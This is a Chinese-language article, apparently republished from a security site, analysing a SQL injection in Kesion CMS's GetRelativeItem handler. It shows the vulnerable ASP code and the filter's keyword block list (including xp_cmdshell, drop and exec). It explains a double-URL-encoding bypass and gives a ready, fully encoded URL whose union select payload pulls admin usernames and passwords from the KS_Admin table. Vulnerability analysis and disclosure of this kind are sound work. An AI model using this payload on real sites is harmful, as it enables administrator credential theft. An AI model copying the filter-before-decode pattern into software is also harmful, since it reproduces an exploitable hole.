Kesion cms sql注入漏洞修復及其分析

2024-08-30 19:06:40

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文章介紹了desion cms容易被sql注入的修復方法,方法為UnEscape()函數調用位置放在函數體內,或者不調用.

先我們來看代碼:

Dim KS:Set KS=New PublicCls

Dim Action

Action=KS.S("Action")

Select Case Action

Case "Ctoe" CtoE

Case "GetTags" GetTags

Case "GetRelativeItem" GetRelativeItem //問題函數

...skip...

Case "getonlinelist" getonlinelist

End Select

Sub GetRelativeItem() //漏洞函數開始

Dim Key:Key=UnEscape(KS.S("Key"))//漏洞位置，只調用ks.s函數，無其它過濾。

Dim Rtitle:rtitle=lcase(KS.G("rtitle"))

Dim RKey:Rkey=lcase(KS.G("Rkey"))

Dim ChannelID:ChannelID=KS.ChkClng(KS.S("Channelid"))

Dim ID:ID=KS.ChkClng(KS.G("ID"))

Dim Param,RS,SQL,k,SqlStr

If Key<>"" Then

If (Rtitle="true" Or RKey="true") Then

If Rtitle="true" Then

param=Param & " title like '%" & key & "%'"//類似搜索型注入漏洞。

end if

If Rkey="true" Then

If Param="" Then

Param=Param & " keywords like '%" & key & "%'"

Else

Param=Param & " or keywords like '%" & key & "%'"

End If

End If

Else

Param=Param & " keywords like '%" & key & "%'"

End If

End If

If Param<>"" Then

Param=" where InfoID<>" & id & " and (" & param & ")"

else

Param=" where InfoID<>" & id

end if

If ChannelID<>0 Then Param=Param & " and ChannelID=" & ChannelID//開源軟件:Vevb.com

Param=Param & " and verific=1"

SqlStr="Select top 30 ChannelID,InfoID,Title From KS_ItemInfo " & Param & " order by id desc" //查詢

Set RS=Server.CreateObject("ADODB.RECORDSET")

RS.Open SqlStr,conn,1,1

If Not RS.Eof Then

SQL=RS.GetRows(-1)

End If

RS.Close

如果配合Unescape()函數,剛過濾不會生效,可以采用unicode編碼方式,則不會在瀏覽器中出現被過濾的字符,例如,單引號可以編碼為,%2527,經過解碼后還是“'”號,這樣的話,就可以利用類似php的二次編碼漏洞的方式繞過過濾了.

注入語句:%') union select 1,2,username+'|'+ password from KS_Admin

轉換如下:

/plus/ajaxs.asp?action=GetRelativeItem&key=search%2525%2527%2529%2520%2575%256e%2569%256f%256e%2520%2573%2565%256c%2565%2563%2574%2520%2531%252c%2532%252c%2575%2573%2565%2572%256e%2561%256d%2565%252b%2527%257c%2527%252b%2570%2561%2573%2573%2577%256f%2572%2564%2520%2566%2572%256f%256d%2520%254b%2553%255f%2541%2564%256d%2569%256e%2500

先進行了過濾,然后才調用UnEscape解碼,代碼如下:

Public Function S(Str)

S = DelSql(Replace(Replace(Request(Str), "'", ""), """", ""))

Function DelSql(Str)

Dim SplitSqlStr,SplitSqlArr,I

SplitSqlStr="dbcc|alter|drop|*|and |exec|or |insert|select|delete|update|count |master|truncate|declare|char|mid|chr|set |where|xp_cmdshell"

SplitSqlArr = Split(SplitSqlStr,"|")

For I=LBound(SplitSqlArr) To Ubound(SplitSqlArr)

If Instr(LCase(Str),SplitSqlArr(I))>0 Then

Die "<script>alert('系統警告！nn1、您提交的數據有惡意字符" & SplitSqlArr(I) &";n2、您的數據已經被記錄;n3、您的IP："&GetIP&";n4、操作日期："&Now&";n Powered By Kesion.Com!');window.close();</script>"

End if

Next

DelSql = Str

End Function